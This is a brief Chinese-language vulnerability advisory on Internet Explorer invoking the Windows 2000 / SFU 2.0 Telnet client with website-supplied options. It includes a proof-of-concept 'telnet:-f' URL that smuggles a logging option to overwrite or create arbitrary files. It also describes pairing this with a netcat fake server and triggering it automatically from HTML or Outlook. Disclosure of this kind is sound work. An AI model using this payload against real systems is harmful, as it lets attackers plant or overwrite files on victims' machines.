Intetnet Explorer , Telnet Client

描述：

通过 IE 调用 Telnet 执行攻击者代码漏洞

详细：

通过 IE 调用 Telnet 时存在一个安全漏洞。设计中，用户可以通过 IE 来调用 Telnet。但是在 Windows NT 4.0 或 Windows 2000 中，如果 Telnet 客户端是作为 Services for Unix (SFU) 2.0 的一部分安装，这样 WEB 站点指定的任意命令行选项都可以通过 IE 来调用 Telnet。当IE执行‘TELNET’命令时，它将命令行参数传给 TELNET 程序。WINDOWS2000 TELNET 客户端包含一个客户方日志选项，它是根据其选项来记录 TELNET 数据的。通过在 TELNET 命令中指定“-f‘ 选项，所有的过程都能被记录到这个文件。利用此漏洞，攻击者能重写任意文件，或创建文件。

以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负

在 IE 地址栏键入：telnet:-f%20\file.txt%20host

将使 IE 激起 TELNET 客户端，记录下所有的输出到文件“\file.txt"中。通过建立一个伪服务器（如NETCAT），攻击者能将任意代码写入这个文件。并且，TELNE CLIENT能隐藏在HTML中自动执行。此漏洞也通过 OUTLOOK 执行，因为在缺省状态下，OUTLOOK 会自动执行 HTML 信息。